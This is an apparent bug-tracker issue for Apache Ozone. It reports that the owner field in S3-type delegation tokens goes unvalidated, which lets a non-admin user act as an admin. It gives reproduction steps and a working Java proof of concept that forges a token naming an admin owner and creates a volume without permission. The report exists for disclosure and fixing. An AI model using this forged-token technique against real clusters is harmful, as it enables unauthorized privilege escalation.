Details
-
Bug
-
Status: Resolved
-
Blocker
-
Resolution: Fixed
-
None
-
None
Description
Delegation token of Ozone has two flavor:
1. delegation token (based public key infrastructure provided by SCM CA)
2. s3 token
S3 token includes all the information which is required to validate a S3 HTTP request: aws access key id, string2sign, signature. OM can check the signature based on all this information which are stored in the OzoneTokenInfo.
When the request is authenticated the owner field is used for all the following authentication. But the content of the follower field is not validated. It's filled by the S3g but any client can create a custom request where the Owner field contains a custom string.
1. To reproduce start an ozonesecure cluster where testuser2 is not an admin. (The easiest way to achieve this is removing the hadoop.security.auth_to_local settings, as in our ozonesecure environment all users are mapped to local root which is admin)
To make the test easier, groups can also be turned off:
<property> <name>hadoop.security.group.mapping</name> <value>org.apache.hadoop.security.NullGroupsMapping</value> </property>
2. Check if testuser2 is not an admin:
kinit -kt /etc/security/keytabs/testuser2.keytab testuser2/scm klist Ticket cache: FILE:/tmp/krb5cc_1000 Default principal: testuser2/scm@EXAMPLE.COM Valid starting Expires Service principal 01/29/21 13:27:03 01/30/21 13:27:03 krbtgt/EXAMPLE.COM@EXAMPLE.COM renew until 02/05/21 13:27:03 ozone sh volume create /vol3 PERMISSION_DENIED User testuser2/scm@EXAMPLE.COM doesn't have CREATE permission to access volume vol3 null null
3. To create a s3 type delegation token we need valid string2sign and signature strings.
ozone s3 getsecret
Set the environment variables:
AWS_ACCESS_KEY_ID=... AWS_SECRET_ACCESS_KEY=....
Try to create a bucket (will be denied) with --debug flag:
aws s3api --debug --endpoint=http://localhost:9878 create-bucket --bucket=bucket1
Copy the signature and string2sign from the output:
2021-01-29 15:03:52,269 - MainThread - botocore.auth - DEBUG - StringToSign: AWS4-HMAC-SHA256 20210129T140352Z 20210129/us-west-1/s3/aws4_request ff6c0c767b0292cf3459d02ae1199d4c7786f3cca2f383a46b442f19d964d996 2021-01-29 15:03:52,269 - MainThread - botocore.auth - DEBUG - Signature: 9830423f18ac1f90ec658d1b5c47bdd7765d67fdc0dc67393c162627bfa45789
And execute a java app:
public static void main(String[] args) throws Exception { OzoneConfiguration conf = new OzoneConfiguration(); conf.set("ozone.om.address", "192.168.32.6"); String awsAccessId = "testuser2/scm@EXAMPLE.COM"; UserGroupInformation.setConfiguration(conf); UserGroupInformation remoteUser = UserGroupInformation.createRemoteUser(awsAccessId, AuthMethod.TOKEN); final Text omService = SecurityUtil.buildTokenService(OmUtils. getOmAddressForClients(conf)); OzoneTokenIdentifier identifier = new OzoneTokenIdentifier(); identifier.setTokenType(S3AUTHINFO); identifier.setStrToSign("AWS4-HMAC-SHA256\n" + "20210129T133557Z\n" + "20210129/us-west-1/s3/aws4_request\n" + "8fc985d9c7442c33d6f146ab123de49b18c83c4c6ccdfd182f10fc78691bdd53"); identifier.setSignature( "044cf03375ea10b3e454b16887a1f5ce6ebb14d45b506dd7ac5e02fd0179ba7b"); identifier.setAwsAccessId(awsAccessId); identifier.setOwner(new Text("testuser/scm@EXAMPLE.COM")); Token<OzoneTokenIdentifier> token = new Token(identifier.getBytes(), identifier.getSignature().getBytes(UTF_8), identifier.getKind(), omService); remoteUser.addToken(token); OzoneClient client = remoteUser.doAs( (PrivilegedExceptionAction<OzoneClient>) () -> OzoneClientFactory.getRpcClient(conf)); client.getObjectStore().createVolume("vol2"); }
As a result /vol2 is created even if testuser2 is not an admin. Note: testuser IS an admin and setOwner used testuser instead of testuser2.
A quick fix is to validate the owner field. A proper, long-term fix is disabling the s3 auth token type for client2server communication which can be done with HDDS-4440.
Attachments
Issue Links
- links to